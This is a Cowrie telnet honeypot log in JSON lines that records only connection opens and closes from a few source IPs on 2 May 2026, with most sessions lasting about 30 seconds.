{"eventid":"cowrie.session.closed","duration":30.699524402618408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:59.431063Z","src_ip":"164.68.122.45","session":"4b277920d7f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":37584,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3760ba5e80","protocol":"telnet","message":"New connection: 86.120.107.100:37584 (10.17.0.5:23) [session: eb3760ba5e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:59.829336Z"}
{"eventid":"cowrie.session.closed","duration":30.50040626525879,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:00.082176Z","src_ip":"199.231.212.75","session":"0d0d30796a04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.712759256362915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:00.137702Z","src_ip":"164.68.122.45","session":"ce9816707520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.271789073944092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:01.129937Z","src_ip":"199.231.212.75","session":"5368caa9761c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39956,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ebd6a475c43","protocol":"telnet","message":"New connection: 164.68.122.45:39956 (10.17.0.5:23) [session: 2ebd6a475c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:01.147887Z"}
{"eventid":"cowrie.session.closed","duration":30.49409008026123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:01.184721Z","src_ip":"199.231.212.75","session":"3e9e85cda82e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11194348335266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:02.296604Z","src_ip":"164.68.122.45","session":"610fd77e81cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107454538345337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:02.540524Z","src_ip":"199.231.212.75","session":"cb15da31a710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39964,"dst_ip":"10.17.0.5","dst_port":23,"session":"4860a462248d","protocol":"telnet","message":"New connection: 164.68.122.45:39964 (10.17.0.5:23) [session: 4860a462248d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:02.978340Z"}
{"eventid":"cowrie.session.closed","duration":31.120744228363037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:03.182190Z","src_ip":"199.231.212.75","session":"957d61f76151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33050,"dst_ip":"10.17.0.5","dst_port":23,"session":"51674c19f085","protocol":"telnet","message":"New connection: 199.231.212.75:33050 (10.17.0.5:23) [session: 51674c19f085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:03.933661Z"}
{"eventid":"cowrie.session.closed","duration":31.359999895095825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:04.391126Z","src_ip":"199.231.212.75","session":"13a5b4ffc892","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183041095733643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:04.627293Z","src_ip":"164.68.122.45","session":"497bffa0a9ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33066,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cb661d27cdf","protocol":"telnet","message":"New connection: 199.231.212.75:33066 (10.17.0.5:23) [session: 5cb661d27cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:04.664622Z"}
{"eventid":"cowrie.session.closed","duration":30.563042640686035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:05.242188Z","src_ip":"164.68.122.45","session":"7479c0be2f5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39980,"dst_ip":"10.17.0.5","dst_port":23,"session":"c53ab37fdda6","protocol":"telnet","message":"New connection: 164.68.122.45:39980 (10.17.0.5:23) [session: c53ab37fdda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:05.431523Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33076,"dst_ip":"10.17.0.5","dst_port":23,"session":"324c1ed29a00","protocol":"telnet","message":"New connection: 199.231.212.75:33076 (10.17.0.5:23) [session: 324c1ed29a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:05.788458Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39984,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac5d7346cc30","protocol":"telnet","message":"New connection: 164.68.122.45:39984 (10.17.0.5:23) [session: ac5d7346cc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:06.507198Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33090,"dst_ip":"10.17.0.5","dst_port":23,"session":"27b162102f63","protocol":"telnet","message":"New connection: 199.231.212.75:33090 (10.17.0.5:23) [session: 27b162102f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:06.836954Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39996,"dst_ip":"10.17.0.5","dst_port":23,"session":"33adff622ab0","protocol":"telnet","message":"New connection: 164.68.122.45:39996 (10.17.0.5:23) [session: 33adff622ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:07.823333Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33094,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffc6a2b4dd51","protocol":"telnet","message":"New connection: 199.231.212.75:33094 (10.17.0.5:23) [session: ffc6a2b4dd51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:08.395064Z"}
{"eventid":"cowrie.session.closed","duration":30.511850357055664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:08.421904Z","src_ip":"164.68.122.45","session":"4c8029befdea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.478532314300537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:09.204672Z","src_ip":"164.68.122.45","session":"7de3a39cedc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.763567447662354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:09.370911Z","src_ip":"199.231.212.75","session":"bb8084e0a1c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890661239624023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:09.451290Z","src_ip":"199.231.212.75","session":"3e552f0bbc51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72590708732605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:10.300827Z","src_ip":"199.231.212.75","session":"939850482dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":36972,"dst_ip":"10.17.0.5","dst_port":23,"session":"467f66c05938","protocol":"telnet","message":"New connection: 164.68.122.45:36972 (10.17.0.5:23) [session: 467f66c05938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:10.525703Z"}
{"eventid":"cowrie.session.closed","duration":31.150558471679688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:10.992786Z","src_ip":"199.231.212.75","session":"b84676a1c7ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17707872390747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:11.216041Z","src_ip":"164.68.122.45","session":"f35820f42cd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.955076456069946,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:11.316742Z","src_ip":"84.54.71.151","session":"00f7281daa1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":36974,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dfbdf1d0990","protocol":"telnet","message":"New connection: 164.68.122.45:36974 (10.17.0.5:23) [session: 3dfbdf1d0990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:11.780476Z"}
{"eventid":"cowrie.session.closed","duration":30.735028743743896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:12.343107Z","src_ip":"199.231.212.75","session":"b915f41f1dc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":36980,"dst_ip":"10.17.0.5","dst_port":23,"session":"6556b6b9b969","protocol":"telnet","message":"New connection: 164.68.122.45:36980 (10.17.0.5:23) [session: 6556b6b9b969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:12.408632Z"}
{"eventid":"cowrie.session.closed","duration":31.351250886917114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:12.553683Z","src_ip":"164.68.122.45","session":"1249fcb7d6bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.556625843048096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:12.558879Z","src_ip":"164.68.122.45","session":"1f4b424902e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75194001197815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:13.137281Z","src_ip":"164.68.122.45","session":"3b43b38539f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752116918563843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:13.560493Z","src_ip":"164.68.122.45","session":"304775b3b4c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96860146522522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:14.285657Z","src_ip":"199.231.212.75","session":"81c6df3c6a85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":36996,"dst_ip":"10.17.0.5","dst_port":23,"session":"a50eaf64b7b0","protocol":"telnet","message":"New connection: 164.68.122.45:36996 (10.17.0.5:23) [session: a50eaf64b7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:14.602792Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37004,"dst_ip":"10.17.0.5","dst_port":23,"session":"e75c6f61c16d","protocol":"telnet","message":"New connection: 164.68.122.45:37004 (10.17.0.5:23) [session: e75c6f61c16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:14.648558Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37008,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea884d958a12","protocol":"telnet","message":"New connection: 164.68.122.45:37008 (10.17.0.5:23) [session: ea884d958a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:14.792023Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":37440,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8f75d3dcc98","protocol":"telnet","message":"New connection: 199.231.212.75:37440 (10.17.0.5:23) [session: e8f75d3dcc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:15.218585Z"}
{"eventid":"cowrie.session.closed","duration":30.371520519256592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:16.129607Z","src_ip":"164.68.122.45","session":"a0e7b12be43e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37018,"dst_ip":"10.17.0.5","dst_port":23,"session":"34d9514411ce","protocol":"telnet","message":"New connection: 164.68.122.45:37018 (10.17.0.5:23) [session: 34d9514411ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:16.281090Z"}
{"eventid":"cowrie.session.closed","duration":31.17936372756958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:17.314311Z","src_ip":"199.231.212.75","session":"f3a4f5312ff0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":37442,"dst_ip":"10.17.0.5","dst_port":23,"session":"e84585297266","protocol":"telnet","message":"New connection: 199.231.212.75:37442 (10.17.0.5:23) [session: e84585297266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:18.126266Z"}
{"eventid":"cowrie.session.closed","duration":31.006802320480347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:19.116680Z","src_ip":"164.68.122.45","session":"ac31e8f27d25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514251947402954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:19.184219Z","src_ip":"164.68.122.45","session":"952726fbcad0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37034,"dst_ip":"10.17.0.5","dst_port":23,"session":"9868ada32006","protocol":"telnet","message":"New connection: 164.68.122.45:37034 (10.17.0.5:23) [session: 9868ada32006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:19.733794Z"}
{"eventid":"cowrie.session.closed","duration":31.35412049293518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:19.876477Z","src_ip":"164.68.122.45","session":"d7ccc027a1a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66636610031128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:20.049221Z","src_ip":"199.231.212.75","session":"951c98f46e25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":60778,"dst_ip":"10.17.0.5","dst_port":23,"session":"7336333c9896","protocol":"telnet","message":"New connection: 199.231.212.75:60778 (10.17.0.5:23) [session: 7336333c9896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:20.191778Z"}
{"eventid":"cowrie.session.closed","duration":30.69549036026001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:20.314004Z","src_ip":"199.231.212.75","session":"c510da5a3c95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":60790,"dst_ip":"10.17.0.5","dst_port":23,"session":"853cc282b77e","protocol":"telnet","message":"New connection: 199.231.212.75:60790 (10.17.0.5:23) [session: 853cc282b77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:20.561221Z"}
{"eventid":"cowrie.session.closed","duration":30.206841707229614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:21.056043Z","src_ip":"164.68.122.45","session":"4ab0491cb140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":54748,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d6b3c552f2","protocol":"telnet","message":"New connection: 164.68.122.45:54748 (10.17.0.5:23) [session: 08d6b3c552f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:21.348642Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":54756,"dst_ip":"10.17.0.5","dst_port":23,"session":"735a4c4eedfa","protocol":"telnet","message":"New connection: 164.68.122.45:54756 (10.17.0.5:23) [session: 735a4c4eedfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:21.561684Z"}
{"eventid":"cowrie.session.closed","duration":31.268784046173096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:21.895782Z","src_ip":"164.68.122.45","session":"53abcc5a4fc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":60798,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae840e778411","protocol":"telnet","message":"New connection: 199.231.212.75:60798 (10.17.0.5:23) [session: ae840e778411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:21.904557Z"}
{"eventid":"cowrie.session.closed","duration":31.15173602104187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:22.029615Z","src_ip":"164.68.122.45","session":"d4335c085123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.622987747192383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:22.189693Z","src_ip":"164.68.122.45","session":"a50761c21614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":60814,"dst_ip":"10.17.0.5","dst_port":23,"session":"748454f2732e","protocol":"telnet","message":"New connection: 199.231.212.75:60814 (10.17.0.5:23) [session: 748454f2732e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:22.746540Z"}
{"eventid":"cowrie.session.closed","duration":31.36458659172058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:22.893518Z","src_ip":"164.68.122.45","session":"605b124278f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.243141651153564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:23.006299Z","src_ip":"164.68.122.45","session":"504dbb1978f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.223599195480347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:23.046817Z","src_ip":"199.231.212.75","session":"cf8f091af363","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31438684463501,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:23.306726Z","src_ip":"164.68.122.45","session":"46a07dec2b4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.516900539398193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:23.360502Z","src_ip":"164.68.122.45","session":"e83716632e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":60824,"dst_ip":"10.17.0.5","dst_port":23,"session":"d375430bda58","protocol":"telnet","message":"New connection: 199.231.212.75:60824 (10.17.0.5:23) [session: d375430bda58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:23.568675Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":60840,"dst_ip":"10.17.0.5","dst_port":23,"session":"44cccf4768ea","protocol":"telnet","message":"New connection: 199.231.212.75:60840 (10.17.0.5:23) [session: 44cccf4768ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:24.213271Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":54758,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f361d22a193","protocol":"telnet","message":"New connection: 164.68.122.45:54758 (10.17.0.5:23) [session: 5f361d22a193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:24.650486Z"}
{"eventid":"cowrie.session.closed","duration":31.29785966873169,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:24.987507Z","src_ip":"164.68.122.45","session":"dd3dd031e60e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.296334266662598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:25.076556Z","src_ip":"164.68.122.45","session":"798411cd4816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":60842,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4c7c4426d32","protocol":"telnet","message":"New connection: 199.231.212.75:60842 (10.17.0.5:23) [session: e4c7c4426d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:25.771026Z"}
{"eventid":"cowrie.session.closed","duration":30.563643217086792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:26.478283Z","src_ip":"164.68.122.45","session":"e4af10fec5a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":60852,"dst_ip":"10.17.0.5","dst_port":23,"session":"68e5b0397fc6","protocol":"telnet","message":"New connection: 199.231.212.75:60852 (10.17.0.5:23) [session: 68e5b0397fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:26.781498Z"}
{"eventid":"cowrie.session.closed","duration":30.649255514144897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:28.093146Z","src_ip":"199.231.212.75","session":"7690e04b1f9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.417077779769897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:28.225299Z","src_ip":"199.231.212.75","session":"ba5dff89b344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.436304807662964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:28.803319Z","src_ip":"199.231.212.75","session":"81a0bfc1de6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374006748199463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:29.104087Z","src_ip":"164.68.122.45","session":"b91c81c31551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.502601146697998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:29.276215Z","src_ip":"164.68.122.45","session":"bf692eea5401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.462753534317017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:30.002162Z","src_ip":"164.68.122.45","session":"4b68c552682b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.870802640914917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:30.700037Z","src_ip":"86.120.107.100","session":"eb3760ba5e80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10109257698059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:32.248835Z","src_ip":"164.68.122.45","session":"2ebd6a475c43","protocol":"telnet"}
